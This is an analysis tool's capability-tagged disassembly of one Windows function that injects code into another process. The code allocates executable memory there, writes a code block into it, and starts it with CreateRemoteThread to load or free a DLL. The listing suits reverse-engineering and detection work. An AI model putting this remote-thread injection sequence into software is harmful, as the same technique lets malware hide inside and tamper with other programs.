Function at 0x406330
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0xffffffffffffffff
push 0x487bb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x344
push ebx
push ebp
push esi
push edi
mov ebx, dword [esp + 0x364]
mov ecx, 0x8d
xor eax, eax
lea edi, [esp + 0x1c]
push 0x40
xor esi, esi
push 0x1000
push 0x1000
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
push ebx
mov dword [esp + 0x370], esi
mov dword [esp + 0x28], esi
xor ebp, ebp
call edi
test eax, eax
mov dword [esp + 0x10], eax
jne 0x4063a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualAllocEx___failed__Error___d__n
jmp 0x406625
push 4
push 0x1000
push 0x234
push 0
push ebx
call edi
mov ebp, eax
test ebp, ebp
jne 0x4063c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualAllocEx___failed__Error___d__n
jmp 0x406625
mov eax, dword [esp + 0x10]
push 0
push 0x1000
push 0x406800
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4063f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteProcessMemory___failed__Error___d__n
jmp 0x406625
mov edi, dword [esp + 0x370]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x250]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x4c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x254]
push ecx
push edx
call fcn.00406860
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x378]
add esp, 0xc
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x406474
push str.Couldnt_load_kernel32.dll._Thats_a_surprise__n
call fcn.0044cad6
add esp, 4
jmp 0x40662d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryW
push esi
call edi
push str.GetModuleHandleW
push esi
mov dword [esp + 0x40], eax
call edi
push str.FreeLibrary
push esi
mov dword [esp + 0x44], eax
call edi
push str.GetProcAddress
push esi
mov dword [esp + 0x48], eax
call edi
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x44], eax
test ecx, ecx
je 0x406619
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x406619
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x406619
test eax, eax
je 0x406619
push 0
lea edx, [esp + 0x20]
push 0x234
push edx
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4064ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteProcessMemory___failed__Error___d__n
jmp 0x406625
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push 0
push ebp
push ecx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x406530
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateRemoteThread___failed__Error___d__n
jmp 0x406625
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov dword [esp + 0x18], eax
je 0x40656b
cmp eax, 0x102
je 0x406559
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject___failed__Error___d__n
jmp 0x406625
push str.WaitForSingleObject___timed_out._INFINITE_is_over_
call fcn.0044cad6
add esp, 4
jmp 0x40662d
push 0
lea edx, [esp + 0x20]
push 0x234
push edx
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x406594
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ReadProcessMemory___failed__Error___d_n
jmp 0x406625
mov eax, dword [esp + 0x368]
test eax, eax
je 0x4065d6
mov eax, dword [esp + 0x370]
push eax
push str.Loading___s_:
call fcn.0044cad6
mov eax, dword [esp + 0x24]
add esp, 8
test eax, eax
je 0x4065c4
push eax
push str.Couldnt_load_n
jmp 0x4065ce
mov ecx, dword [esp + 0x2c]
push ecx
push str.Loaded__0x_08X__n
call fcn.0044cad6
add esp, 8
mov eax, dword [esp + 0x36c]
test eax, eax
je 0x40662d
mov edx, dword [esp + 0x370]
push edx
push str.Freeing___s_:
call fcn.0044cad6
mov eax, dword [esp + 0x30]
add esp, 8
test eax, eax
je 0x40660d
push str.Couldnt_free_n
call fcn.0044cad6
add esp, 4
jmp 0x40662d
mov eax, dword [esp + 0x2c]
push eax
push str.Released__0x_08X__n
jmp 0x406625
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetProcAddress___failed._Error___d_n
call fcn.0044cad6
add esp, 8
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x406653
push 0x8000
mov edx, eax
push 0
push edx
push ebx
call edi
test ebp, ebp
je 0x406662
push 0x8000
push 0
push ebp
push ebx
call edi
test esi, esi
je 0x40666d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x370]
mov dword [esp + 0x35c], 0xffffffff
call fcn.0046741f
mov ecx, dword [esp + 0x354]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x350
ret